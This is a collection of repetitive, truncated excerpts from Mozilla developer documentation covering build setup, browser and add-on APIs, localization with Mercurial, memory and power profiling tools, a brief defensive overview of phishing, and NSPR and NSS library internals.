nstall "x software development" mac: install xcode tools. insert "mac os x install disc 2", then open xcodetools.mpkg. (for some mac os x versions, you will find it in a directory called "optional installs".) install macports. run these commands to install the other build tools: sudo port sync sudo port install mercurial libidl autoconf213 yasm problems? see mac os x build prerequisites. windows: install visual c++ 2013. both the professional edition and the express edition will work. you may need to install one or more windows sdks. see windows sdk versions for a quick guide. if you decided on the windows 8 sdk, you also need the outlook 2010 mapi header files from microsoft. install mozillabuild, a pack...
... 8 sdk, you also need the outlook 2010 mapi header files from microsoft. install mozillabuild, a package of additional build tools. (if you get a message saying this application did not install properly then you should see a windows dialog giving you the option to re-install with the 'correct settings'. after that all should be well.) open a shell window by running: c:\mozilla-build\start-msvc2013.bat. even if you're on 64-bit windows, do not use the files ending in -x64.bat. by default you will arrive in your windows user home directory which is likely to contain spaces in its path (e.g. c:\users\myaccount). this can lead to problems later in the building stage. to avoid that, create a directory without spaces in its path (e.g. mkdir /c/mozilla-src) and switch to it before build...
... building seamonkey building seamonkey requires at least 2 gb of disk space and 256 mb of available ram. ...
...ally a shared build suffices for debugging purposes but current nightly releases are actually static builds which require even more memory to link. the support for libxul builds is still experimental but it should work if you --disable-mailnews. on windows, the above commands will create the comm-central directory in %userprofile% which may be some subfolder of c:\documents and settings\ on systems upgraded from xp or below. the space in this directory name, or in your user name if it contains one, will cause the configure script to break. to (possibly) fix this, cd to a dir without spaces before doing the "hg clone" command above. running seamonkey the seamonkey executable can be found in obj-sm-release/dist/bin/ (used to be obj-sm-release/mozilla/dist/bin/) on windows and linux and in...
mozbrowsercaretstatechanged
e loaded in a browser <iframe>. this is used by the embedder to show a context menu for clipboard actions. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: rect an object that defines info...
...possible values are visibilitychange, updateposition, longpressonemptycontent, taponcaret, presscaret, and releasecaret. zoomfactor a number defining the current zoom factor in the browser <iframe>. collapsed a boolean indicating whether the current selection is collapsed (true) or not (false.) caretvisible a boolean indicating wheth...
...function(command). possible values are cut, copy, paste and selectall. examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsercaretstatechanged", function( event ) { // do stuff with event.details }); related...
...etvisible a boolean indicating whether the caret is currently visible (true) or not (false.) selectionvisible a boolean indicating whether the current selection is visible (true) or not (false.) selectioneditable a boolean indicating whether the current selection is editable (true) or not (false.) selectedtextcontext a domstring containing the currently-selected text content. senddocommandmsg a method allowing you to issue a command via an anonymouse function, i.e. function(command). possible values are cut, copy, paste and selectall. examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsercaretstatechanged", function( event ) { // do stuff with event.details }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mo...
Add-on Repository
ory is responsible for finding available add-ons; it provides an interface for interacting with the addons.mozilla.org (amo) site. its api provides urls that can be visited to browse the repository's add-ons. the api also offers two ways to search for and retrieve an array of addon instances: retrieverecommendedaddons(), which returns a list of recommended add-ons, and searchaddons(), which performs a search of the repository. these searches are asynchronous; results are passed to the provided searchcallback object when the search is completed. results passed to the searchcallback object only include add-ons that are compatible with the current application and are not already installed or in the process of being installed. addonrepository can only process one search at a time. a new search ...
...being installed. addonrepository can only process one search at a time. a new search will immediately fail if the addonrepository is already handling another search request. to import the add-on repository code module, use: components.utils.import("resource://gre/modules/addonrepository.jsm"); method overview string getrecommendedurl() string getsearchurl(in string searchterms) void cancelsearch() void retrieverecommendedaddons(in integer maxresults, in searchcallback callback) void searchaddons(in string searchterms, in integer maxresults, in searchcallback callback) properties property type description homepageurl string the url of the repository site's home page. issearching boolean true...
... if a search is currently in progress; otherwise false. methods getrecommendedurl() returns the url that can be visited to see recommended add-ons. string getrecommendedurl(); parameters none. return value an url indicating the repository's page of recommended add-ons. getsearchurl() returns an url of a web page that can be visited to see search results for the specified search terms. string getsearchurl( in string searchterms ); parameters searchterms search terms used to search the repository. return value the url of the search results page for the specified search terms. cancelsearch() cancels the search in progress. does nothing if there is no search in progress. void cancelsearch(); parameters none. retrieverecommendedaddons() begins a search for recomm...
...k callback. void retrieverecommendedaddons( in integer maxresults, in searchcallback callback ); parameters maxresults the maximum number of results to return. callback the searchcallback callback to which results will be delivered. searchaddons() begins a search for add-ons in this repository. results will be passed to the given callback. string searchaddons( in string searchterms, in integer maxresults, in searchcallback callback ); parameters searchterms the search terms to pass to amo. the results will match what you would get if you typed this string in the search box on the amo web site. maxresults the maximum number of results to return. callback the searchcallback callback to pass results to. ...
FileUtils.jsm
nsifile getfile( string key, array patharray, bool followlinks ); parameters key the nsidirectoryservice key to start from (see getting special file...
... 0x02 corresponds to the pr_wronly parameter to pr_open mode_create 0x08 corresponds to the pr_create_file parameter to pr_open mode_append 0x10 corresponds to the pr_append parameter to pr_open mode_truncate 0x20 corresponds to the pr_truncate parameter to pr_open perms_file 0644 default permissions when creating files. perms_directory 0755 default permissions when creating directories methods getfile() gets a file at the specified hierarchy under a nsidirectoryservice key. nsifile getfile( string key, array patharray, bool followlinks ); parameters key the nsidirectoryservice key to start from (see getting special files for more info) patharray an array of path components to locate benea...
...it's accessed. nsifileoutputstream openfileoutputstream( nsifile file, int modeflags ); parameters file the file to write to. modeflags optional file open flags (see constants above) return value returns nsifileoutputstream (the non-safe variant) to write to. openatomicfileoutputstream() opens an atomic file output stream for writing. note: 'safe' and 'atomic' file output streams will never append; they will always overwrite an existing file. starting in gecko 38.0, passing mode_append without mode_truncate will throw an exception. nsifileoutputstream openatomicfileoutputstream( nsifile file, int modeflags ); parameters file the file to write to. modeflags optional file open flags (see constants above) return value returns nsifileoutputstream (the safe v...
...rally better than opensafefileoutputstream() because flushing is not needed in most of the issues. closeatomicfileoutputstream() closes an atomic file output stream. void closeatomicfileoutputstream( nsifileoutputstream stream ); parameters stream the stream to close. opensafefileoutputstream() opens a safe file output stream for writing. note: 'safe' and 'atomic' file output streams will never append; they will always overwrite an existing file. starting in gecko 38.0, passing mode_append without mode_truncate will throw an exception. nsifileoutputstream opensafefileoutputstream( nsifile file, int modeflags ); parameters file the file to write to. modeflags optional file open flags (see constants above) return value returns nsifileoutputstream (the safe var...
JavaScript OS.Constants
form code from javascript in conjunction with js-ctypes. profiledir the path to the current profile. homedir the path to the user's home directory. winappdatadir the path to the user's roaming application data directory. winlocalappdatadir the path to the user's local application data directory. winstartmenuprogsdir the path to the programs subdirectory in the user's start menu. macuserlibdir the path to the user's library directory. maclocalapplicationsdir the path to the local applications directory. os.constants.libc constants for interacting with libc. useful mostly for using js-ctypes to interact with the following platforms: macos x; android; linux; other variants of unix. os.constants.l...
...rt menu. macuserlibdir the path to the user's library directory. maclocalapplicationsdir the path to the local applications directory. os.constants.libc constants for interacting with libc. useful mostly for using js-ctypes to interact with the following platforms: macos x; android; linux; other variants of unix. os.constants.libc is available on all platforms, although some constants are not defined everywhere. before using a constant, you should check that it is defined. error values eacces permission denied eagain resource temporarily unavailable ebadf bad file descriptor eexist file exists efault bad address efbig file too large einval invalid argument ei...
...der windows) value too large to be stored in datatype. eperm operation not permitted erange result too large etimedout (not always available under windows) operation timed out. ewouldblock (not always available under windows) operation would block. exdev cross-device link opening files unix access rights defined on all platforms but meaningful only on unix. s_irwxu current user can read, write, execute the file. equivalent to s_irusr | s_iwusr | s_ixusr. s_irusr current user can read the file. s_iwusr current user can write (modify) the file. s_ixusr current user can execute the file. s_irwxg current group of the current user can read, write, execute the file. ...
...nc o_shlock atomically obtain a shared lock. o_symlink allow opening of symbolic links. o_sync (linux only) open for purely synchronous access. o_trunc truncate the file. o_wronly open the file for write only. os.constants.win constants for interacting with the windows api. os.constants.win is undefined on non-windows platforms. useful mostly in conjunction with js-ctypes. (tbd) ...
Index
software user interfaces from one language to another and adapting it to suit a foreign culture. these resources are for anyone with an interest in the technical aspects involved in localization. 2 application translation with mercurial android, draft, editing, firefox, lightning, localization, mercurial, seamonkey, translate, patch, thunderbird first, get the required programs to compile mozilla applications like firefox and thunderbird from build instructions. this is only necessary once. 3 bootstrapping a new locale localization, mercurial, translate, bit bucket (see also https://developer.mozilla.org/en/create_a_new_localization) 4 encodings for localization files internationalization, localization when creating a localizati...
...ractices for developers to create localizable code, and describes how to avoid some localizability (l12y) common mistakes. 10 localization notes guide, internationalization, localization, mozilla localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add comments to the localizable files themselves, too. these comments are generally referred to as localization notes. there is an established format for those, which is described in this document. 11 localization prerequisites internationalization, localization, delete to work on localization, you need a subset of the mozilla build prerequisites. on mac and linux, you should be just fine, and on windows, mozillabuild ...
...an see immediately two localized files in their user interface by following closely and carefully the steps to create a language pack or a binary file that is ready for installation. repeating the process allows a localizer to create a testable package to see his or her work as they progress to a final version. 28 mozilla l10n style guide localization cultural references, idioms, and slang require a full understanding of these references between the cultures of your source and target languages. an example of a cultural reference in english would be the phrase, "kick-off meeting." this is a reference that uses an american football term. it means a meeting to begin a project. to translate it, you can follow one of two approaches: 29 mozilla content localized in ...
...r 10 letters + n 41 writing localizable code internationalization, localization this page tells you about best practices and guidelines when dealing with ui code with respect to localization. it is aimed at mozilla and extension developers. 42 gettext internationalization, localizability, localization gettext lets you define and use singular and plural forms of a string. to take advantage of this functionality, you need to use a different keyword (i.e. different gettext function name) for string which are supposed to support plurals. for instance, in php the default keyword for regular messages is gettext() and _(). for messages with plural support, the default keyword is ngettext(). ...
Mozilla Content Localized in Your Language
r language agrees. all we ask is that you name this page according to this example, "mozilla content in spanish (es-mx)" and add your locale code tag at the bottom. enjoy developing your style guide! your language's style guide abbreviations how are abbreviations expressed in your language? numerals and metrics how are numerals and metrics expressed in your language? formal and informal forms, and separators (, or .) date format what are the date formats for weeks and months are expressed in the following forms: 1)fully spelled out, 2). 2 or 3 letters and 3). single letter. and what is the order of year, month and day? reference material can be find here calendar calendar view: which date is considered the first day of the week, sunday or monday? is lunar calendar observed? ot...
...day? is lunar calendar observed? other regional calendar observed? time format how is time expressed in your language? including 0-24 hr expression, hour, minute and second. percentages how are percentages expressed in your language? digit groups how are digit groups expressed in your language? example: 1.23 (decimal separator) or 1,000 (thousand separator) using comma or period. ...
...gional calendar observed? time format how is time expressed in your language? including 0-24 hr expression, hour, minute and second. percentages how are percentages expressed in your language? digit groups how are digit groups expressed in your language? example: 1.23 (decimal separator) or 1,000 (thousand separator) using comma or period. ...
.... punctuation what is the appropriate form of expressing punctuation in your language? what are language specific puntuations used? even if there are same or similar punctuations, are they used differently than those in english. reference material on other languages can be found here. pluralization what is the appropriate form of expressing pluralization in your language? if yes, list all forms of plural forms and examples if there is more than one. additional discussions can be found here. voice what is the appropriate form of expressing voice in your language? how should emphasis be made in your language? character styles how are bold, italics, underlines, etc. used to express certain concepts in your language? if these are not applicable styles, what are some of the correspondi...
Localizing with Mercurial
pensolaris $ pkg install sunwmercurial if you prefer a graphical interface, you can download and install mercurialeclipse here. did it work? open a terminal window and enter hg --version. if you see a message about the version of mercurial (e.g. mercurial distributed scm (version 1.3.1)), you have installed mercurial successfully! more details for more details on installing hg on linux systems, refer to the instructions on mercurial's download page. mercurial on windows with windows, you have a couple of install options: for a command line interface, download and install mozillabuild package. this will not only install hg, but also all the tools required to build mozilla products on windows. trust us, you'll want this eventually. for a graphical interface, you may want to install...
...uccessfully! more details for more details on installing hg on mac osx, refer to the instructions on mercurial's download page. configuring mercurial once you've installed mercurial, you'll need to configure it before you can use it successfully. your mercurial configuration is contained within a config file which you must create yourself. your config file is called either ~/.hgrc (unix systems) or mercurial.ini (windows), depending on your operating system. your config file should have the following settings: [ui] username = your real name <user@example.com> merge = internal:merge [defaults] commit = -v [diff] git = 1 showfunc = 1 unified = 8 to configure hg, follow these steps: create a new file in your favorite text editor. copy the settings above and paste them into your ne...
...erating system. your config file should have the following settings: [ui] username = your real name <user@example.com> merge = internal:merge [defaults] commit = -v [diff] git = 1 showfunc = 1 unified = 8 to configure hg, follow these steps: create a new file in your favorite text editor. copy the settings above and paste them into your new file. save the file as either .hgrc (unix systems) or mercurial.ini (windows) and save it in either $home/ or c:\mozilla-build\hg\ or c:\program files\mercurial\. now that you've installed and configured mercurial, here are a few tasks you can do without hg commit access priviledges. cloning and updating repositories there are a couple of repostiories that contain en-us source files that most locales will want to deal with. mozilla-centra...
...without needing account priviledges is creating l10n patches of your work for someone else to commit to your remote l10n repo on the mozilla servers. doing this ensures that your dashboards are always accurate, as they look at your remote repo. here's how to create a l10n patch with hg and the mq extension: enable mq by adding hg.ext = to your mercurial config file (~/.hgrc on unix-like systems or mercurial.ini on windows) under the [extensions] section. open your command line tool and navigate to your l10n directory. inside your l10n directory, init your repo with mq by running hg init --mq. to create a new patch, run hg qnew -m "your commit message" patch-name.patch. the commit message should take the form of "bug 123456 - change this thing to work better by doing something; r=revi...
Mozilla DOM Hacking Guide
h, nsdomclassinfoid. there are classes for the dom0, core dom, html, xml, xul, xbl, range, css, events, etc... the array sclassinfodata, defined in nsdomclassinfo.cpp, maps each dom class to its helper class and to the interfaces that are exposed to javascript. it is an array of type nsdomclassinfodata, which is a structure defined in nsidomclassinfo.h. the array uses two macros to define its items: ns_define_classinfo_data and ns_define_classinfo_data_with_name. the first one calls the second one. the first argument passed to ns_define_classinfo_data_with_name, _class, is used for debug purposes. the second argument, _name, is the name that should appear in javascript. the third argument, _helper, is the name of the helper class for this dom class. helper classes are detailed in section 1.
...n instance of the relevant helper class. const nsiid *mprotochaininterface: pointer to the iid of the first interface available to javascript clients. this is used in global resolve functions, when xpconnect has to find the member function to call. const nsiid **minterfaces: pointer to the first element of an array of pointers to all the interfaces available through js for this class. pruint32 mscriptableflags: 31; : the fourth argument passed to ns_define_classinfo_data_with_name. prbool mhasclassinterface: 1; : help me? mname and mconstructorfptr, mscriptableflags and mhasinterface are initialized by ns_define_classinfo_data_with_name. mcachedclassinfo, mprotochaininterface and minterfaces, however, are initialized in nsdomclassinfo::init(), described in section 1.5. interface flatt...
...on for now. the short answer is, "to implement the queryinterface for nsiclassinfo". indeed, a queryinterface to nsiclassinfo cannot be implemented the same way as other interfaces. if you don't like macros, you can see the full queryinterface implementation in nsxmlelement.cpp. two other getclassinfoinstance member functions are defined in mozilla, as member of class nscontentutils and class nsdomsofactory. both of these methods end up calling nsdomclassinfo::getclassinfoinstance so there is no real point in documenting them further. getclassinfoinstance is used in the ns_interface_map_entry_content_classinfo macro, which is used to implement queryinterface for the nsiclassinfo interface in most of the dom classes, and in the ns_dom_interface_map_entry_classinfo macro, which is used to impl...
...ion, nsidomdomimplementation) dom_classinfo_map_entry(nsidomdomimplementation) dom_classinfo_map_end the interface1, interface2, ... arguments are the name of the interfaces implemented by the dom object and exposed to javascript. the internal interfaces should not be a part of this list. #include the relevant files to make it build, tweak the makefiles, etc. make sure it builds on all platforms! :-p if you used an already existing scriptable helper class, then all you need to do is build, nuke components.reg (if you build optimized) and run. everything should work well. if you want to use a new scriptable helper class, you will have to implement it as well. how to override the default behavior of xpconnect on dom objects xpconnect implements default behaviors for xpcom objects in g...
Mozilla Style System Documentation
in the layout system, these formatting objects are described as frames (interface nsiframe), although a pair of frames represents table formatting objects. ...
...yle context is taken to be the root of the style context tree. the functions that form the style context automatically adds the context to the tree correctly. dynamic changes describe nsframemanager::reresolvestylecontext and nsiframe::getparentstylecontextframe ...</p> describe nscssframeconstructor::attributechanged hack for style attribute that avoids style context tree manipulation. problems: dynamic style changes scrap the whole thing and start over. this is very hard to fix because of the "sibling-sharing" optimisation. matters dealing with dynamic style changes are also tricky because the style contexts don't have pointers to their frames, but instead, we have the reverse and is probably the biggest flaw in the design of this part of the system. getting style data from a style co...
...e rule tree. it uses the appropriate declaration struct and has each rule fill in any properties specified by that rule that are not filled in already. the walking stops when all of the properties are filled in or when the root of the rule tree is reached. then the style struct is computed from the declaration and stored at the appropriate location in the rule tree or on the style context. ...
...r when the root of the rule tree is reached. then the style struct is computed from the declaration and stored at the appropriate location in the rule tree or on the style context. problems: dynamic style changes often destroy too much data. css stylesheet backend css stylesheet loading [this section needs to be written. i'm reluctant to write it both since i don't know much about it.] problems:a bunch the code needs to be rewritten to prevent stylesheets from blocking the parser and to reduce string copying (although that partly goes with parsing).] parsing stylesheet representation problems: the stylesheet representation uses way too much memory. other nsistylesheet implementations problems: some of the html style information is implemented in the content node classes. it should ...
Activity Monitor, Battery Status Menu and top
available on mac os x. note: the power profiling overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. activity monitor this is a built-in os x tool that shows real-time process measurements. it is well-known and its "energy impact" measure is likely to be consulted by users to compare the power consumption of different programs. (apple support documentation specifically recommends it for troubleshooting battery life problems.) unfortunately "energy impact" is not a good measure for either users or software developers and it should be avoided. activity monitor can still be useful, however. power-related measurements activity monitor has several tabs. they can all be customized to show any of the available measurements ...
...asure? when the energy tab of activity monitor is first opened, the "average energy impact" column is empty and the title bar says "activity monitor (processing...)". after 5–10 seconds, the "average energy impact" column is populated with values and the title bar changes to "activity monitor (applications in last 8 hours)". if you have top open during those 5–10 seconds you'll see that systemstats is running and using a lot of cpu, and so presumably the measurements are obtained from it. systemstats is a program that runs continuously and periodically measures, among other things, cpu usage and idle wakeups for each running process. tests indicate that it is almost certainly using the same "energy impact" formula to compute the "average energy impact", using measurements from the past...
...op-down menu that includes a list of “apps using significant energy”. this is crude but prominent, and therefore worth understanding — even though it's not much use for profiling applications. when you open this menu for the first time in a while it says “collecting power usage information” for a few seconds, and if you have top open during that time you'll see that, once again, systemstats is running and using a lot of cpu. furthermore, if you click on an application name in the menu activity monitor will be opened and that application’s entry will be highlighted. based on these facts it seems reasonable to assume that “energy impact” is again being used to determine which applications are "using significant energy". testing shows that once an energy-intensive applicatio...
... started it takes less than a minute for it to show up in the battery status menu. and once the application stops using high amounts of energy it takes a few minutes to disappear. the exception is when the application is closed, in which case it disappears immediately. and it appears that a program with an “energy impact” of roughly 20 or more will eventually show up as significant, and programs that have much higher “energy impact” values tend to show up more quickly. all of these battery status menu observations are difficult to make reliably and so should be treated with caution. it is clear, however, that the window used by the battery status menu is measured in seconds or minutes, which is much less than the 8 hour window used for “average energy impact” in activity monitor...
about:memory
omment thread on a website, click on the "measure..." button. this will cause a tree-like structure to be generated text within about:memory. this structure is just text, so you can copy and paste some or all of this text into any kind of text buffer. (you don't need to take a screenshot.) this text contains fewer measurements than a memory reports file, but is often good enough to diagnose problems. don't click "measure..." repeatedly, because that will cause the memory usage of about:memory itself to rise, due to it discarding and regenerating large numbers of dom nodes. note that in both cases the generated data contains privacy-sensitive details such as the full list of the web pages you have open in other tabs. if you do not wish to share this information, you can select the "anonymiz...
...the "heap-unclassified" value represents heap-allocated memory that is not measured by any memory reporter. this is typically 10--20% of "explicit". if it gets higher, it indicates that additional memory reporters should be added. dmd can be used to determine where these memory reporters should be added. there are measurements for other content such as images and workers, and for browser subsystems such as the startup cache and xpconnect. some add-on memory usage is identified, as the following example shows. ├───40,214,384 b (04.17%) -- add-ons │ ├──21,184,320 b (02.20%) ++ {d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}/js-non-window/zones/zone(0x100496800)/compartment([system principal], jar:file:///users/njn/library/application%20support/firefox/profiles/puna0zr8.new/extensi...
... mb ── resident 251.47 mb ── resident-unique 1,103.64 mb ── vsize some measurements of note are as follows. "resident". physical memory usage. if you want a single measurement to summarize memory usage, this is probably the best one. "vsize". virtual memory usage. this is often much higher than any other measurement (particularly on mac). it only really matters on 32-bit platforms such as win32. there is also "vsize-max-contiguous" (not measured on all platforms, and not shown in this example), which indicates the largest single chunk of available virtual address space. if this number is low, it's likely that memory allocations will fail due to lack of virtual address space quite soon. various graphics-related measurements ("gfx-*"). the measurements taken vary between pl...
... as win32. there is also "vsize-max-contiguous" (not measured on all platforms, and not shown in this example), which indicates the largest single chunk of available virtual address space. if this number is low, it's likely that memory allocations will fail due to lack of virtual address space quite soon. various graphics-related measurements ("gfx-*"). the measurements taken vary between platforms. graphics is often a source of high memory usage, and so these measurements can be helpful for detecting such cases. ...
Performance
by incorrect uses of reference counting. they are slow and not particular easy to use, and thus most suitable for use by expert developers. gc and cc logs gc and cc logs can be generated and analyzed to in various ways. in particular, they can help you understand why a particular object is being kept alive. valgrind valgrind is a tool that detects various memory-related problems at runtime, including leaks. valgrind is used as part of mozilla's continuous integration testing, though the coverage is limited because valgrind is slow. leaksanitizer leaksanitizer (a.k.a. lsan) is similar to valgrind, but it runs faster because it uses static source code instrumentation. lsan is part of mozilla's continuous integration testing, with most tests running through it as ...
...lgrind is slow. leaksanitizer leaksanitizer (a.k.a. lsan) is similar to valgrind, but it runs faster because it uses static source code instrumentation. lsan is part of mozilla's continuous integration testing, with most tests running through it as part of the addresssanitizer (a.k.a. asan) test jobs. apple tools apple provides some tools for mac os x that report similar problems to those reported by lsan and valgrind. the "leaks" tool is not recommended for use with spidermonkey or firefox, because it gets confused by tagged pointers and thinks objects have leaked when they have not (see bug 390944). leak gauge leak gauge is a tool that can be used to detect certain kinds of leaks in gecko, including those involving documents, window objects, and docshells. ...
...ent views to analyze the allocation characteristic. see also the documentation on leak-hunting strategies and tips. profiling and performance tools profiling with the developer tools profiler the profiler built into the developer tools has a high-level waterfall, detailed call tree, allocations and gc profiling, and flame graphs. it is available on all platforms and release channels, and also supports remote profiling b2g and fennec. profiling with the firefox profiler the firefox profiler is a good tool to start with, particularly for understanding where time is spent within c++ code in firefox. profiling with instruments how to use apple's instruments tool to profile mozilla code. profiling with xperf how to us...
...line utility in the mozilla codebase that uses the intel rapl interface to gather direct power estimates for the package, cores, gpu and memory. powermetrics (mac-only) powermetrics is a command-line utility that gathers and displays a wide range of global and per-process measurements, including cpu usage, gpu usage, and various wakeups frequencies. timerfirings logging (all platforms) timerfirings logging is a built-in logging mechanism that prints data on every time fired. activity monitor, battery status menu and top (mac-only) the battery status menu, activity monitor and top are three related mac tools that have major flaws but often consulted by users, and so are worth understanding. intel power gadget (windows, mac, linux) intel power gadget pro...
Phishing: a short definition
the impact has not improved much since. phishing is an attempt to collect sensitive information, such as usernames, passwords, and financial details by disguising as a trustworthy entity online. a relatively simple, yet effective, phishing scheme is sending an email with a fake invoice of a person’s favorite shopping site. this email will usually contain a link pretending to lead to the original service, but in reality, taking the victim to an attacker-controlled website. ...
...the original service, but in reality, taking the victim to an attacker-controlled website. the login portal might resemble the trusted website's login page very closely, and convince users to enter their credentials, letting others hijack their account. past and current countermeasures various technical, and social approaches, exist to combat phishing attacks. none of these are sufficient by themselves, so we see a mix of these deployed by various services. the following is a non-exhaustive list of the most common approaches. shifting blame to users some quick-to-implement, and cost-effective solutions, hold users accountable for their actions instead of restricting what’s technically possible. earlier responses by affected banks, and payment providers, was to attempt educating users t...
...ion requests. public key cryptography many services will soon support w3c web authentication, a powerful technology to evade phishing, based on public key cryptography. web authentication supports millions of readily avilable fido u2f usb security keys, and will support the more advanced fido 2.0 keys, once made available. verification via text message if a service supports verification, via sms, it sends a text message with a one-time pin to the user’s phone number. the user then enter this pin after the web service verifies the username and password. this was chosen as an early second factor 'protocol' as text messages are widely supported, however, even nist no longer recommends sms verification. the ss7 telephony system is vulnerable, making eavesdropping, or rerouting text messag...
... to the user’s phone number. the user then enter this pin after the web service verifies the username and password. this was chosen as an early second factor 'protocol' as text messages are widely supported, however, even nist no longer recommends sms verification. the ss7 telephony system is vulnerable, making eavesdropping, or rerouting text messages quite trivial. one-time password algorithms a better way to use phones as second factor, are one-time password (otp) protocols, like totp and hotp. at service registration, the provider will often generate a qr code to be read by an otp app. this qr code is nothing more than a random, secret key, that is stored on the user’s phone. after verifying username and password, the user is prompted to open the otp app and enter the correspondin...
Optimizing Applications For NSPR
this has proven to be quite challenging, a challenge that was met to a large degree, but there is always room for improvement. the casual client may not encounter a need to know the details of the shortcomings to the level described here, but if and when clients become more sophisticated, these issues will certainly surface. this memo is by no way complete. multiplatform do not call any blocking system call from a local thread. ...
...is problem is especially obvious because the idle thread, which is in charge of driving the asynch io completion port, is also blocked. do not call blocking system calls from the primordial thread. create a global thread and call the system call in that thread, and have the primordial thread join that thread. nspr uses timer signals to implement thread preemption for local threads on some platforms. if all the software linked into the application is not ported to the nspr api, the application may fail because of threads being preempted during critical sections. to disable thread preemption call <tt>pr_disableclockinterrupts()</tt>during initialization. interrupting threads (via <tt>pr_interrupt()</tt>) on threads blocked in i/o functions is implemented to various degrees on different platf...
...if all the software linked into the application is not ported to the nspr api, the application may fail because of threads being preempted during critical sections. to disable thread preemption call <tt>pr_disableclockinterrupts()</tt>during initialization. interrupting threads (via <tt>pr_interrupt()</tt>) on threads blocked in i/o functions is implemented to various degrees on different platforms. the unix based platforms all implement the function though there may be up to a 5 second delay in processing the request. the mechanism used to implement <tt>pr_interrupt()</tt> on the pthreads versions of nspr is flawed. no failure attributable to the flaw has shown up in any tests or products - yet. the specific area surrounding pthread's continuation thread has been both observed and empiric...
...rsion more suited (and adequate) for interactive applications such as are prevalent on today's workstations. the nt version implements a mxn threading model, using native nt threads as the virtual processors and nt's fiber abstraction as the locally scheduled threads. the fibers are nice because much of the nt api understands them. but they are not really preemptable, and that can lead to problems, depending on the needs of your application. the mode (blocking or nonblocking) of a socket cannot be changed at will once the socket has been used. also, the new socket created by an <tt>pr_accept()</tt> call on a listening socket inherits the mode of the listening socket, and cannot be changed. a file descriptor is not usable after an io operation on it fails with either <tt>pr_io_timeout_err...
Anonymous Shared Memory
s in: the child process inherits the shared memory. compare the file-mapped anonymous shared memory to to a named shared memory described in prshm.h. the intent is to provide a shared memory that is accessbile only by parent and child processes. ... it's a security thing. depending on the underlying platform, the file-mapped shared memory may be backed by a file. ... surprise! ... on some platforms, no real file backs the shared memory. on platforms where the shared memory is backed by a file, the file's name in the filesystem is visible to other processes for only the duration of the creation of the file, hopefully a very short time. this restricts processes that do not inherit the shared memory from opening the file and reading or writing its contents. further, when all processes using an...
...tablefilemap( attr, fm, shmname ); pr_createprocess(client); pr_destroyprocessattr(attr); ... yadda ... pr_memunmap( addr ); pr_closefilemap(fm); client: ... started by server via pr_createprocess() fm = pr_getinheritedfilemap( shmname ); addr = pr_memmap(fm); ... yadda ... ...
...emunmap( addr ); pr_closefilemap(fm); client: ... started by server via pr_createprocess() fm = pr_getinheritedfilemap( shmname ); addr = pr_memmap(fm); ... yadda ... pr_memunmap(addr); pr_closefilemap(fm); second protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); fmstring = pr_exportfilemapasstring( fm ); addr = pr_memmap(fm); ... application specific technique to pass fmstring to child ... yadda ... server uses his own magic to create child pr_memunmap( addr ); pr_closefilemap(fm); client: ... started by server via his own magic ... application specific technique to find fmstring from parent fm = pr_importfilemapfromstring( fmstring ) addr = pr_memmap(fm); ... yadda ... pr_memunmap(addr); pr_closefilemap(fm); anonymous shared memory functions pr_openanonfi...
... client: ... started by server via his own magic ... application specific technique to find fmstring from parent fm = pr_importfilemapfromstring( fmstring ) addr = pr_memmap(fm); ... yadda ... ...
NSPR Types
since the types (long long versus struct longlong) are not type compatible, nspr defines macros to manipulate 64-bit numeric fields. these macros are defined in prlong.h. conscientious use of these macros ensures portability of code to all the pla...
...64-bit integer types floating-point number type for convenience, nspr also provides type definitions with platform-dependent bit widths: native os integer types 8-, 16-, and 32-bit integer types signed integers print8 print16 print32 unsigned integers pruint8 pruint16 pruint32 64-bit integer types different platforms treat 64-bit numeric fields in different ways. ...
... print64 pruint64 floating-point number type the nspr floating-point type is always 64 bits. prfloat64 native os integer types these types are most appropriate for automatic variables. ...
...ion of 64-bit fields by using two 32-bit numeric fields bound in a structure. since the types (long long versus struct longlong) are not type compatible, nspr defines macros to manipulate 64-bit numeric fields. these macros are defined in prlong.h. conscientious use of these macros ensures portability of code to all the platforms supported by nspr and still provides optimal behavior on those systems that treat long long values directly. print64 pruint64 floating-point number type the nspr floating-point type is always 64 bits. prfloat64 native os integer types these types are most appropriate for automatic variables. they are guaranteed to be at least 16 bits, though various architectures may define them to be wider (for example, 32 or even 64 bits). these types are never valid ...
Introduction to Network Security Services
elationships among core nss libraries and nspr naming conventions and special libraries windows and unix use different naming conventions for static and dynamic libraries: windows unix static .lib .a dynamic .dll .so or .sl in addition, windows has "import" libraries that bind to dynamic libraries. so the nss library has the following forms: libnss3.so - unix shared library libnss3.sl - hp-ux shared library libnss.a - unix static library nss3.dll - windows shared library nss3.lib - windows import library binding to nss3.dll nss.lib - windows static library nss, ssl, and s/mime have all of the above forms. the following static libaries aren't included in any shared libraries libcrmf.a/crmf.lib provides an api for crmf o...
...dable modules, not meant to be linked with directly: libfort.so/libfort.sl/fort32.dll provides support for hardware fortezza. libswft.so/libswft.sl/swft32.dll provides support for software fortezza. libnssckbi.so/libnssckbi.sl/nssckbi.dll defines the default set of trusted root certificates. support for ilp32 in nss 3.2 and later versions, there are two new shared libraries for the platforms hp-ux for parisc cpus and solaris for (ultra)sparc (not x86) cpus. these hp and solaris platforms allow programs that use the ilp32 program model to run on both 32-bit cpus and 64-bit cpus. the two libraries exist to provide optimal performance on each of the two types of cpus. these two extra shared libraries are not supplied on any other platforms. the names of these libraries are platform-dep...
...t these libraries, because they are dynamically loaded by nss at run time. linking the application against one or the other of these libraries may produce an application program that can only run on one type of cpu (e.g. only on 64-bit cpus, not on 32-bit cpus) or that doesn't use the more efficient 64-bit code on 64-bit cpus, which defeats the purpose of having these shared libraries. on platforms for which these shared libraries exist, nss 3.2 will fail if these shared libs are not present. so, an application must include these files in its distribution of nss shared libraries. these shared libraries should be installed in the same directory where the other nss shared libraries (such as libnss3.so) are installed. both shared libs should always be installed whether the target system has a ...
